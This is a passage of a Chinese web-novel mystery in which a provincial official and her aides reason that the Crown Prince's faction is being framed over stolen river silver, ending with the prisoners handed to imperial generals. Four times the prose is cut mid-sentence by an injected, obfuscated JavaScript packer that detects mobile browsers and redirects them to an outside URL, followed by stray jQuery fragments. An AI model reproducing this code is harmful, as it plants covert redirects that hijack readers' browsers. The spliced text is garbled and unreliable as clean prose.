第二,如果他真的在别院藏匿官银,在搜出钥匙的那一刻,他就应该偷偷找个亲信,让亲信去他的别院将银两转移,时间上完全来得及。当时顾刺史叫我去锁铺查看购买梅花锁的名单,一来一回要一个多时辰。然后他再依据这份名单,先去查其他几家购买者,也要花几个时辰的功夫。这么多时间,足够转移官银了。 可是,当我们进入他的别院时,那些官银就明晃晃地摆在房间里,这不合理。 第三,他如果真的要在别院藏匿官银,应该建一个不容易被发现的密室,把官银藏密室里,可他并没有这么做。 第四,非法获得的官银是不能直接用的,因为官银都有特定的形状,上面还刻了字。如果要使用,就得把官银融掉,重新做成普通的银两,这样谁也看不出来了。而且,融掉重铸也有利于销毁证据。可是,距离官银失窃已经有两个多月了,在这么长的时间内,顾刺史为何不将这些官银融掉重铸呢?官银还是原来的样子,这简直就是明晃晃地告诉别人,他就是偷窃官银的同伙之一。 第五,也是最关键的一点,太子、安正则、顾刺史是何等人物,为何要为了二十万两银子,冒这么大的风险?太子和安正则不用说了,顾刺史虽非五姓七家之一,但也出自大族,家资巨万,且刺史本身的俸禄就不低。他们费这么大力气,布这么大的局,又要出动百尺楼的杀手,又要杀掉好几个朝廷官员,所得不过二十万两,还要跟其他参与者分赃,他们图什么?” 元景佑和柳依依都觉得此言有理。 元景佑虽然恢复身份不久,但也接触了很多达官贵人,对于朝政上的敏感性很高。他分析道:“我觉得,这几件事更像是一场针对太子和安家的阴谋。一旦坐实太子、安家跟百尺楼有关,那么百尺楼以前犯下的案子,是不是也是太子他们在背后操控呢?这么一来,太子一党的罪名就绝不只是劫杀工部官员、劫走二十万两官银这么简单。百尺楼曾经犯下的所有大案,都会被安在太子头上。那么,太子就彻底完了。 而太子和安家倒台,自然有别的得利者,很可能不止一拨。且百尺楼的副统领王大兴已经被捕,且他是百尺楼唯一落网的首领,很多事情,岂不是任由王大兴一张嘴去说?他今日可以构陷安正则是百尺楼密使,明日自然可以构陷太子或理国公便是百尺楼大统领,还可以说更多的谣言,让太子一党自证不暇。 安正则是太子府詹事、太子表弟,也是理国公府嫡长孙。一旦别人相信他是百尺楼密使,是大统领最信任的人,那么百尺楼大统领要么是太子,要么是他祖父理国公,也很合理。当然,这些推论都建立在太子一党无辜的前提下。” 云水谣点头:“我也有此感觉。而且,我觉得安正则眼盲一事,似乎也没有这么简单。” 元景佑问道:“大人有何见解?” 云水谣道:“第一,就是方彩杏短时间内练成那么高的武功很不合理,这一点之前已经分析过。第二,就是方彩杏留书出走,说要让安正则后悔一辈子的时候,那么多人去找她,其中还包括太子府的势力,竟完全找不到她,这也不合理。她能躲得这么好吗?第三,从她刺瞎安正则的眼睛,逃跑之后,找她的人就更多了,可她就像是人间蒸发一样,完全没有踪影。会不会她还有别的同伙,是另一股势力在暗中藏匿她?” 元景佑道:“会不会是她加入了什么帮派,那个帮派不仅帮她提升了武功,还将她隐藏了起来?” 云水谣道:“有这个可能,但这个帮派这么做能得到什么好处呢?做慈善吗?还是只针对方彩杏一人的慈善。” 元景佑道:“我们假设是某个帮派在维护她,那么这么做其实对这个帮派也有好处。他们帮方彩杏提升了武功,肯定有交换条件,比如方彩杏只能替他们效力。再者,他们支持方彩杏犯下大案,并藏匿她,那么方彩杏就再也见不得光了,一旦冒头,就会被官府通缉。她只能隐藏在黑暗中,是绝佳的杀手人选,这个帮派也壮大了自己的势力。如果真的存在这个帮派,也许他们经常通过这种方式发展成员,方彩杏只是其中之一。” 云水谣点头:“你说的也有道理。如果这个帮派真的存在,那应该也跟百尺楼类似。只是,万一不是江湖帮派,而是朝堂势力在藏匿她呢?” “朝堂势力?您指的是方彩杏的父亲方轩举?” “方家是寒门,方轩举没有那个能力。且方轩举是太子府的属官,一旦有什么异常举动,很容易被太子府的人发现。如果方彩杏真的去找父亲帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335921|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙,只怕方轩举会立刻绑了方彩杏,去向太子和理国公府谢罪,不会藏匿她的。” 元景佑点头:“大人说的是。那大人所指的朝堂势力是?” “我对朝堂势力并不清楚,但我猜,应该是一股跟太子、理国公府安家不和的势力。也许,方彩杏去刺瞎安正则的眼睛,正是出于这股势力的授意。” 元景佑神情凛然:“这么说,方彩杏刺瞎安正则一事,并不像表面上看上去那么简单?” “对,我觉得这几件事是互相关联的。安正则眼睛瞎了,要对他动什么手脚就更容易了。也许,从一开始,方彩杏就没喜欢过安正则。” 柳依依吃惊道:“大人,这话怎么说?” “我有一个大胆的猜测:有一股势力要对太子、安家不利,可要构陷太子并非易事。于是,他们便想从太子府詹事安正则下手。他们故意派出方彩杏,让方彩杏做出痴恋安正则的样子。那么,安正则外出做官,方彩杏偷偷跟随就很合理了,她只是在追随自己的心上人。而以安正则的身份,不太可能娶方彩杏这种中等人家的姑娘,所以安正则一定会拒绝方彩杏的示爱。 那么,方彩杏负气出走,就顺理成章。而几个月后,方彩杏回来复仇,刺瞎安正则的眼睛,别人也只会认为这是一个姑娘爱而不得、偏激复仇的故事,只会把这件事作为茶余饭后的谈资,而不会引起注意和警惕。 也许,方彩杏的武功本来就很高,可以轻松刺瞎安正则,但为了做这个局,前期装作功夫不高的样子。她的武功,并不是在消失的两个月内突飞猛进的,而是她本来就有这个实力。而安正则眼睛瞎了之后,发生了什么呢?” 柳依依道:“有人把百尺楼的令牌和藏官银的府邸的钥匙偷偷放在安正则房中。” 云水谣道:“没错。在安正则瞎了的情况下,要做这件事就更容易了。安正则本来就会武功,警觉性肯定很强。他如果不瞎,幕后黑手很难把这些东西放进他的卧室。放进去之后,幕后之人再找一个合适的机会,揭发安正则跟百尺楼有勾结。所以,在我们都在场的情况下,王大兴就出现了。” 柳依依问道:“您是说,王大兴是故意在那时候来安府,因为他知道有外人在场?” 云水谣道:“没错。如果安正则真的是百尺楼的密使,他要见王大兴,为何不选在深夜的时间,而是让王大兴大白天前来?白天很有可能会来访客,有被发现的可能。 而且,虽然我们今天是临时起意要去拜访安正则,那安正则完全可以在我们来了之后,想办法让心腹去通知王大兴,更改见面时间,他为何不更改呢?由这些疑点,我觉得安正则很有可能是无辜的。而且,还有很关键的一点。” 柳依依问道:“什么?” 79.跟踪 云水谣道:“那就是,王大兴招供得太快了。像这种杀手组织,内部规矩都很严格。一旦成员被抓,不上几遍大刑是不可能开口的。很多人甚至在被捕的那一刻,就会自尽,不让官府知道任何线索。而且,他们平时也会对成员进行残酷的体罚,就是为了提升他们的耐痛能力,在被官府用刑的时候能够撑住。 王大兴能成为副坛主,各方面肯定都是很优秀的,抗刑罚的能力肯定也是一流。但是,他今日没有受任何刑罚,就直接说出安正则是密使,求安正则救他的话,这完全不符合一个杀手首领的基本素质。” 柳依依恍然大悟:“所以,王大兴看似是自投罗网,其实他在这个局里,扮演的是死士的角色。幕后黑手派他来,就是为了让他指认安正则为密使,再让官府搜出百尺楼的令牌和钥匙。然后通过钥匙,把顾刺史也装进这个案子里,因为官银被幕后之人放进了顾刺史家。而王大兴被官府抓住,肯定是死路一条。但在死之前,他还可以说出更多谣言,坐实太子一党和百尺楼之间的关系。” 云水谣道;“没错,假设安正则他们是无辜的,那我们刚才的推论,应该是最接近真相的。据我所知,顾刺史是理国公的门生,以前还做过理国公的下属。而理国公是太子外祖,所以顾刺史也属于太子一党。那么,幕后黑手的这一个局,就能同时把安正则、顾刺史甚至是理国公、太子扳倒,一举而功成。这个局,他们一定已经筹谋良久。” 元景佑道:“这个推测,也还有几个细节存疑。首先,要把赃物放进安正则的房中,未必要把他刺瞎不可。就算他没瞎,也是有机会的。其次,方彩杏如果本来武功就非常高,前期只是在藏拙,那她要如何伪装,才能骗过这么多人,让人以为她功夫很低呢? 我练武多年,知道如果要隐藏武功,装作不会武的样子,其实是比较容易的。但是,如果要隐藏一部分武功,装作自己会武但不精通的样子,是比较难的。人在打斗的时候,本能地会使出自己常用的武功。如果武功高的人故意不使出全力,其实行家是能看出来的。 第三点,方彩杏为何要跟其他势力合作?她的父亲方轩举是太子府的左内率,已经官居四品。等太子登基,她父亲必能更上一层,成为封疆大吏或是朝廷重臣,那么方彩杏的地位也会水涨船高。她为何要背叛父亲、背叛太子府,置自己的前途于不顾,做一件对自己没什么好处的事呢?她刺瞎安正则后,甚至都没法再出门了,只能躲躲藏藏。” 云水谣道:“一个势力要拉拢另一个势力的成员,其实有很多方法,比如利诱、威逼或是其他。至于方彩杏的武功这一块,也许前期她的武功确实很低,就是在失踪的两个月学了什么高超的功夫,也有可能。这是小细节,暂且不论。而刺瞎安正则这件事,也许幕后黑手多次尝试过往安正则房中放东西,但都没有成功,所以才想出了刺瞎安正则的主意。 当然,我们刚才的一切推论,都建立在太子一党无辜的前提下。也许真相就像我们看到的那样,确实是太子一党跟百尺楼有所勾结。但不管真相如何,我们都没法继续调查了。” 柳依依道:“属下觉得,吴长史也有些奇怪。” 云水谣道:“哦?你也觉得他奇怪?” “是啊,一日之内出了这么大的事,他好像一点也不惊慌似的。按理说,刺史被卷入案件之中,长史应该跟司马一同商量对策,有太多的事需要临时决定了。比如,接下来这段时间,雍州该如何治理;监察御史或长官若来访,该如何应对;雍州出了这么大的案子,身为属官的长史和司马会不会被连坐,应该如何替自己脱罪,等等。 可是,这吴长史好像很自然地成为了雍州一把手,一切成竹在胸,什么都不跟您商议。他不仅强势地要求您不得插手这些案件,还让您去做统计人口这种琐碎又耗时间的事,也没有对接下来的工作做一个统筹的安排,好像您只需要完全听他的就可以了。” 云水谣道:“其实你所说的,也正是我感受到的。可是我是新来的,且位居长史之下,也只能听从其安排了。” 柳依依道:“吴长史是不是怕您继续调查,会查出什么不一样的东西?” 云水谣心中仿佛拨云见日:“没错,有这个可能。但是,我也未必能查出什么,他未免太防备着我了。” “也许,他是不想此案再出什么变故,想按王大兴的供词来给安正则、顾刺史等人定罪。我总感觉,在强势的背后,是心虚。” 元景佑道:“在没有证据的情况下,不能随便怀疑长官,否则是重罪。依依,此话你不可对旁人提起。” 柳依依道:“我明白。” 讨论了一回,三人都累得很了,便各自安歇。 第二天,云水谣便开始统计雍州人口。 这个活需要干很久,云水谣把身边能用的人都派出去帮忙了。 这日,云水谣在街上走,忽然看见一队衙役急匆匆地跑过去。 云水谣拉住其中一个衙役问道:“你们去干什么?” “原来是司马大人。长史大人审问王大兴,得知了百尺楼的总坛所在,我们是去剿灭百尺楼总坛的。” “总坛在哪里?” “这……长史大人不让说。” “那就别说了。对了,一共有多少人去?” “这小的不清楚。” “既然早已抓住王大兴,为何不早点去剿灭百尺楼总坛?” “听说,是长史大人审问了好几天,王大兴才招的。他一招,长史大人就立刻派我们前去了。” “行了,你快赶上其他人吧。别把我们的对话泄露出去。” “是。” 元景佑和柳依依都跟在云水谣身边,云水谣对元景佑使了个眼色,元景佑就偷偷跟上了那些衙役。 柳依依道:“吴长史得知了百尺楼总坛,为何不跟大人说?” “我想,有可能是他想大权独揽,剿灭百尺楼的功劳也独享。还有一种可能,是他不希望我参与进这件事。就像你之前分析的那样,他可能也有自己的私心,想坐实安正则等人的罪名。” “依大人看,他是想让顾刺史获罪,他自己便有可能升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345690|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为刺史,还是有什么更深的目的?” 云水谣道:“目前还看不出来,所以我让景佑跟上去瞧瞧。百尺楼是江湖上久负盛名的杀手组织,总坛的战斗力必然惊人。吴长史要剿灭百尺楼总坛,派去的人自然是越多越好、武功越高越好。他却不向我借景佑和其他护卫,这不合理。虽然景佑等人都是我的私人护卫,但我毕竟是雍州府的官员,他完全可以凭借长官的调令,暂时借走我的护卫一用,但他没有。所以,他应该是有一些事情想瞒着我。” 这个吴长史,让云水谣觉得形迹可疑。 柳依依又问道:“王大兴为何肯说出百尺楼总坛的下落?如果百尺楼真的被剿灭,幕后之人相当于用百尺楼这一整个组织,去诬陷太子一党,那代价也太大了。” “我也想不明白,静观其变吧。” 云水谣又带着柳依依统计人口,直到傍晚方歇。 她本以为元景佑会在晚上回来,可是并没有。也许是百尺楼的总坛较远,光是赶路就要许久。 云水谣对元景佑的身手有信心,因此便安心睡觉去了。 第二天傍晚,云水谣正在吃晚饭时,元景佑回来了。他看起来很累,胡子拉碴的。 长了胡子的他看起来倒有几分男子气概了,只是五官仍过于秀美,让人很想捏捏他的脸。 云水谣这么想着,也就真的伸手去捏了他的脸,发现他脸上的肉也变少了。看来这两天,他累得很,都瘦了。 元景佑笑了笑,问道:“大人,您在干什么?” 云水谣这才发现自己做了什么,赶紧收回了手,端起长官的架子,问道:“你这几天有什么发现?” 元景佑道:“我跟踪那些衙役,一路出城,往西北方向而行,大概赶路六七个时辰后,来到临州附近的一座山脚下。吴长史带领五十多个士兵和衙役,往山中进发,我也远远跟随。后来,他们进了一个山洞,那山洞似乎便是百尺楼的总坛。里面有蓝衣杀手一百多人,两拨人马便打斗起来。 意外的是,那些杀手的功夫似乎并不太高,大约打了一个多时辰后,他们全都死了。而官兵这边,却只有十余人伤亡。 吴长史让剩下的士兵统计总坛的物资,一共缴获白银五十万两,黄金五千两,各种金银珠宝十多箱,还有一些衣服,但大部分都是普通的蓝衣,应该是百尺楼杀手的制服。虽然不太名贵,但好歹能穿,吴长史也命士兵收起来。另外,还有各种兵器,数量大概有几百件。似乎还有一些小东西,被吴长史收起来了,我没看清。 他让士兵们运来一些板车,把杀手的尸体、缴获的物资全都运回雍州来,方便论功行赏。趁着他们缓慢前进,我便一个人快马加鞭回来了。路上稍微休息了一会,吃了点东西,所以这会才到。” 云水谣道:“辛苦了,正好我在吃饭,你坐下一起吃。丫环们不知道你会回来,所以做得不多,我让她们再去做一些。” “嗯。” 元景佑又累又饿,也不推辞,直接坐下吃了起来。 云水谣道:“我觉得有些奇怪。” 80.请托 “哪里奇怪?” “百尺楼的杀手功夫不是很高吗?怎么这一百多杀手,竟会被五十多个衙役杀光?” 景佑道:“我也觉得奇怪。总坛的这些杀手,比起之前追杀我的那些杀手,功夫可差远了。” “可是,不应该是总坛的人功夫更高吗?” “我也有些不解。莫非是功夫高的人都在执行各种任务时死光了?” “不会死得一个都不剩吧?总坛那些人,但凡有一两个人有王大兴那样的身手,都不至于全军覆没。王大兴只是百尺楼的副坛主之一,难道在他之上就再没有人了吗?” 柳依依侍立在旁,闻言说道:“大人,我倒觉得有这个可能。” “怎么说?” 柳依依道:“之前我们不是疑惑,为何王大兴会把百尺楼的总坛告知吴长史吗?如果要诬陷太子一党,其实王大兴一个人被捕就够了。他如果暴露百尺楼的总坛,官府就会把这个组织剿灭,对他们来说得不偿失。但是,如果百尺楼的精锐都早已死光了,里面功夫最高的只剩下王大兴一人,那百尺楼实际上已经没什么价值,用这整个组织来构陷太子一党也说得过去。 幕后黑手只需把太子、安正则、理国公府相关的一些信物放在百尺楼总坛,然后再让王大兴故意泄露总坛的位置。那么,等官府去剿灭总坛时,自然会搜到这些信物,也就会更加坚信,太子一党确实跟百尺楼有勾结。否则百尺楼的总坛为何会有他们的东西呢?” 云水谣道:“依依分析得很对。只是,仍有三个疑点。第一,吴长史为什么不留几个活口,而是把杀手全部杀光?百尺楼的人若只剩下王大兴一个,那他一人的说辞也不足取信。断案要多方验证,不能仅凭一面之词便定罪。第二,百尺楼已经横亘江湖至少二十年了,且收费很高。那么,总坛怎么会只有白银五十万两,黄金五千两,金银珠宝十多箱?第三,究竟是什么样的变故,能让百尺楼的精锐全军覆没?如果精锐这么容易死光,百尺楼就没法存在二十年了。 据我所知,百尺楼很注重下一代的培养,每年都会搜罗一些孩童,教以武功。等他们学成,便输送到总坛,为百尺楼效力。那么,每一年,百尺楼都会有大量的新鲜杀手进入。光是王大兴一人,身边就常年有一百余个杀手在受训,何况其他分坛?百尺楼这么大的组织,有十来个分坛也不为过吧?那么,总坛的人为何只剩下一百多个?” 女护卫徐二妞也说道:“没错,我是十来岁就到王大兴家里受训的,这些年来,我眼见王大兴送走一批又一批的女杀手,又不断地带新的孩子回来。所以,光是他一人,至少就为总坛输送了一千多杀手。” 柳依依道:“总坛钱财不多,可能是因为这些年他们开销也很大,养这么多杀手挺费钱的。至于其他疑点,我暂时不明白。” 元景佑已经吃完了饭,沉吟片刻,道:“或许,吴长史找到的,也不是百尺楼真正的总坛。” 云水谣问道:“你的意思是?” 元景佑道:“大人刚才说的这几点,确实很可疑。所以,唯一合理的解释是,王大兴所招供的总坛,并不是真正的总坛,而只是一个不重要的分坛,是本来就计划要牺牲掉的。王大兴及其幕后之人,故意要让官府发现这个分坛,误以为是总坛,就是因为他们在那个分坛里也放了一些太子、安正则等人的东西。那么,当官府带人去剿灭那个地方时,自然会搜到这些物证,进一步坐实太子一党跟百尺楼关系匪浅。而那个分坛所聚集的杀手,应该是最底层、功夫最差的那一批杀手,是百尺楼及幕后黑手的弃子。也正因为他们功夫不高,所以会轻易地被衙役杀光。 当时我躲在山洞外,看见吴长史把一些小物件放进怀中。我猜,这些小物件应该与太子、安正则有关,因此吴长史觉得是重要物证,所以自己保存,准备以后呈交给钦差。 而且,经此一事,官府自然会认为百尺楼已被彻底剿灭,以后可以高枕无忧。百尺楼真正的精英则转移到其他地方,隐藏得更深,还能更好地为幕后的主子效力。” 云水谣恍然大悟:“没错,百尺楼能转移一次,就能转移第二次。百足之虫,死而不僵。如果没点手段,他们不可能雄踞江湖二十余年。只是,这些也只是我们的猜测,该如何让吴长史相信?” 元景佑道:“依我看,大人还是不要跟吴长史说太多为好。诚如柳依依所言,这个吴长史看起来怪怪的,还不知道他属于哪一股势力。如果他真的只是一心想升官,所以巴不得落实顾刺史的罪名,哪怕察觉到有疑点也不去调查,那还算简单的。如果他跟幕后势力有所勾结,在这个局中,他也是做局的人之一,那就麻烦了。大人初到雍州,还是以自保为上。” 云水谣道:“你说得对。只是,这桩案子我们就不管了吗?” “此案事涉太子、理国公府、一州刺史,本就不是大人这个级别的官员能参与的。如果圣上派钦差前来,钦差询问您的意见,您尚且可以把自己的推论说出。若钦差不问,直接就把人犯提走,也没办法。” 云水谣知道景佑说的有道理,但涉案人员明明可能有冤屈,自己却管不了,让她很难受。她也只能希望皇上和大理寺官员能明察秋毫,查个明白了。 这时,柳依依说道:“大人,我有一个想法。万一,一切事情都像表面上看到的那样,并无隐情,太子一党并不无辜呢?我们这些天所做的种种猜测,都是假设太子一党是被构陷的,所以推理出了这么多结论。但是,这个案子中涉及的大部分人,您都是刚刚认识,并不了解,如何去断定他们的忠奸呢? 有些人是很会伪装的,您之前办过的许多案件,真正的凶手一开始也很冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14353948|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。就比如上次的藕塘村七名村妇被杀案、金沙镇祠堂爆炸案,其真凶田长生一开始也是很无辜的样子,但最后证明杀人者就是他。 安正则公子所表现出来的那种冷静,似乎也有些刻意了。” 云水谣问道:“你怀疑他?可是他的眼睛确实瞎了,至少在一开始,他是受害者。” 柳依依道:“您之前是把所有事情联系起来考虑,但也许他被刺瞎双眼,跟后续的事情是独立的。方彩杏刺瞎他的眼睛,就只是因为爱而不得,心生怨恨;王大兴暴露他密使的身份,也纯属意外。” 云水谣道:“确实存在这种可能。如果是这样,那事情就会非常简单。不过,这也跟我没关系了。” 这时,丫环来报:“小姐,门外有个小厮求见,说是理国公府的。” “啊?快请进来。” 过了一会,一个年轻的小厮走了进来,给云水谣请安,然后说道:“云大人,小人是中书舍人安亭桓大人的小厮,他临走之前,嘱咐小人留在雍州,看看案情的变化。若是我家公子则始终不能释放,便让小人来请云司马暗中调查,搜集证据,别让其他人继续构陷公子则。若是能为我家公子则洗刷冤屈,理国公府必有厚报。” 公子则是下人对安正则的尊称,按大夏的风俗,贵族的下人在称呼自家年轻的男主人时,常以“公子”加上主人的名字来称呼,这样不容易混淆。 云水谣问道:“你家大人为何会选中我?” 小厮道:“我家主人说,云司马擅长断案,且不涉朝堂党争,应该能公允地查出真相,还公子则清白。朝臣之间的势力错综复杂,他不敢托其他人。” “原来如此。只是,吴长史不许我插手此案。” “吴长史算什么,他查得明白吗?您只管暗中调查,若有对我家公子有利的证据,可以交给小人,小人会设法传回京城。若能帮上理国公府的忙,云大人此后自会前途无量。” “我明白了,我会尽力而为。” 那小厮恭敬地行了一礼,便告退了。 云水谣却有些为难。之前她对此案的调查,只是出于对真相的执著。 可是现在,理国公府的小厮求到她头上,她如果暗中插手,是不是默认了自己归附于理国公府,自动成为太子一党? 这样做,对现在的她而言,到底是好事还是坏事? 元景佑看出了她的担忧,劝道:“大人不必忧虑,此案在雍州地界发生,您本就有资格调查。如果安正则真是冤枉的,您还他清白,只是出于官员的责任心,并不代表您归附于理国公府。您是天子门生,又有孟荀这样身份高贵的好友,谁又敢强迫您做什么?再者,您身边还有我在呢。我们镇国公府,也属于五姓七家之一的宁津元氏,势力不比其他家族小。无论发生什么,我都会保护大人的。” 81.琴声 听元景佑这样说,云水谣也放下心来。随着自己升官,她隐隐担心自己会牵涉党争,最后成为别人的一把刀,做一些身不由己的事。到时候别说当不成女相,就连保全自己也很困难。 可是她运气好,从一开始就救了景佑,景佑又有了高贵的身份,且对她忠心耿耿。 那么,无论是谁想要拉拢或逼迫云水谣,都不是一件容易的事。 有景佑在,她可以安心了。 云水谣决定再去见安正则一面,最好能多聊一会。这样,对安正则的为人,对这个案子,也许都能有更深入的了解。 于是,她来到监狱门外,却被狱卒拦下。 狱卒道:“云大人,吴长史有交代,任何人不得探视安正则等犯人。” 云水谣道:“连我也不行吗?” “不行,请云大人见谅。” 吴长史越是这样阻挠,云水谣越觉得此案有问题,且问题很大。 她试着摆出官威,大声呵斥,可狱卒也不怕她。 这时,她却听见监狱里传来一阵凄婉的琴声。 她留神一听,发现这首曲子是《求贤》。 《求贤》之曲乃是前朝一位皇帝所作,那位皇帝拜访深山中的一位隐士,希望隐士出山做官,辅佐自己,可那隐士没有同意。于是那位皇帝便自创了《求贤》之曲,日日在山下弹奏,终于感动了隐士。他最终随皇帝回去,成为一代贤臣,创造佳话。 此刻监狱之中《求贤》之曲响起,大约是犯人希望有贤人能救他吧。 听曲风,弹琴之人似乎便是安正则。 云水谣问狱卒:“安正则是否把琴带进监狱中了?” 狱卒道:“没错。都沦为阶下囚了,还要弹琴,真是做作。” 云水谣觉得安正则此时弹琴,必有深意,于是便驻足听着。 《求贤》之曲弹完了,他又弹奏起了《黄鸟》之曲。 这首曲子是以前的一位琴师见到一只黄鸟被罗网束缚,不得自由,声音凄苦,琴师心有所感,便作《黄鸟》之曲,表达了被束缚的无奈和渴望自由的心情。 这首曲子弹完,琴声便不再响起。 云水谣若有所思,离开了监狱门口。 等她回了住所,柳依依问道:“大人,您见到安正则和顾刺史了吗?” 云水谣道:“没有,吴长史有令,不许任何人去探视犯人。不过,此行倒也有些收获。” “怎么说?” “我当时站在监狱门口,跟狱卒争吵了几句。这时,安正则先后弹奏了《求贤》之曲和《黄鸟》之曲,似乎是用这两首曲子暗示我,他是被冤枉的,希望有人能查清真相,还他自由。” “他那两首曲子,是特意弹给您听的?” “我觉得应该是。当时狱卒的声音挺大的,他在监狱里可能听见了,也知道我正在监狱门口。我们没法对话,所以他只能用琴声传递信息。琴声甚是哀伤彷徨,若不是真的被冤枉,断然传达不出这样的心绪。因此,我有八分确定,安正则是被冤枉的。就连顾刺史,应该也是被冤枉的。” “安正则为何能将琴带入狱中?” “他出身不凡,且当时他家长辈又正好在,安正则只是想带一把琴进去,应该是能够通融的。” 这时,一名衙役来报:“云司马,京城有太监来传旨,请您和吴长史一起去州衙正堂接旨。” “好,我马上来。” 云水谣整理了衣冠,便朝正堂走去。她所住的地方离衙门不远,很快便到了。 吴长史已经在这里了,他们俩和其他属官一起跪下听旨。 只听太监宣旨:“雍州长史吴青峰所呈奏折,朕已御览。关于安正则与百尺楼有所勾结一事,需加详查。另,吴青峰所奏二十万两治河官银缺失一万两之事,朕已查明。着游击将军杜羽、伏波将军元无患将人犯王大兴、安正则、雍州刺史顾泉鸣等人押解至京,接受大理寺详查。被杀之工部官员遗体、缴获之十九万两河道官银,及其他证据,一并运送入京,不得拖延,钦此。” 听圣旨的意思,似乎缺失的那一万两治河银两已经找到了,并且皇帝让游击将军杜羽、伏波将军元无患将安正则等人押解至京。 云水谣问道:“请问这位公公,缺失的一万两治河官银在哪里?” 这太监低声道:“在太子府中。” “什么?” 云水谣很惊讶。在顾刺史的别院里,找到了十九万两治河官银,可本来的官银应该有二十万两。 云水谣做过很多猜测,却万万想不到那一万两官银竟会在太子府中。 这么一来,就更坐实了太子和安正则、顾刺史、百尺楼勾结,劫夺治河银两一事。 既然有人可以把赃物放在安正则房中,那幕后黑手自然有办法将赃银送进太子府。只是,他们是如何做到的呢? 从雍州至京城,千里迢迢,他们如何才能不着痕迹地将一万两官银运送到太子府,而不被太子府的人所发现? 而且,如果要栽赃太子,为何不将全部官银都运进太子府,而是只运一万两? 事情越来越扑朔迷离了。 太监嘱咐道:“圣上为此事很生气,太子殿下已被软禁,此事尔等不可声张。” 云水谣道:“公公放心,下官等必定守口如瓶。” 长史吴青峰却仍是一副深沉的表情,对太监道:“公公,近日我已剿灭百尺楼总坛,杀了所有杀手,并缴获一些物资。物资皆已登记在册,一会劳烦您带回京城,并向圣上禀告此事。另外,在剿灭总坛时,我在里面发现一些太子殿下和安正则的信物,我也一并收了起来,请公公代为呈交。” 太监一脸凝重,道:“吴长史剿灭百尺楼,自是大功一件,升官发财不在话下。只是,这百尺楼总坛中竟会有太子殿下和公子则的信物,这……” 吴长史道:“此事还是交给陛下圣裁吧。” “也好。关于缴获的物资,等两位将军来提犯人时,一并交给两位将军吧。” “是。” 就在这时,杜羽和另一个中年将军走了进来。 杜羽今日是来出公差的,穿着一身铠甲,所以就没佩戴什么珠宝,只有身上的佩刀镶嵌着十几颗宝石,不经意间透露着富贵。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365511|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时嘴角会噙着一抹微笑,但今日脸色凝重,显然心情不佳。 而他身边那个中年将军,长得跟元景佑有三分相似,但表情严肃,眼神坚毅,眉头微蹙,带着一股威严和疏离之意。若仔细观察,会发现他并不是故意皱眉头,而是眉心这块的皮肤本就有些皱,看着像蹙眉,想必是当将军久了,经常凶巴巴的,面相便产生了这种变化,平添几分肃杀之气。 这中年将军,应该就是伏波将军元无患了。 元景佑走上前去,行了个家人相见的礼节,道:“堂兄。” 元无患看了元景佑几眼,问道:“你就是祁四叔家的真世子元景佑?” “正是。” “自你回归,我们还未见过。我早觉得元澄那小子猥琐阴沉,不像祁四叔的儿子,原来果然不是,你才有乃父之风。今日有公务在身,下次再叙话吧。雍州长史何在?” 吴青峰赶紧上前:“下官在。” “人犯和其他物证可准备好了?” “已准备好。” 说着,吴青峰让人把几个犯人押过来,并且把缴获的十九万两河道官银等物也运过来。他简单跟两位将军说了一下剿灭百尺楼总坛之事,并将总坛缴获的物资也运了过来。 很快,几个犯人就被押了过来。 王大兴略低着头,眼珠乱转,不知又在谋划什么。 顾刺史表情平静,带着几分沮丧,也没有吵闹或辩解,似乎认命了。 安正则蒙着双眼缓缓而来,便如闲庭信步,一点也不慌张。他手上还捧着一把琴,经过云水谣身边时,他说道:“云大人,可否请你代为保管这把琴?” 云水谣道:“自然可以。只是你怎知我在这里?” “我闻到了您身上的香味,请勿见怪。” 云水谣脸红了一瞬,便接过了那把琴。 杜羽看到安正则如今的模样,眼神一动,似乎有些不忍。听说杜羽和安正则是朋友,见到曾经的朋友瞎了双眼,还沦为阶下囚,任谁都会觉得心里难受。 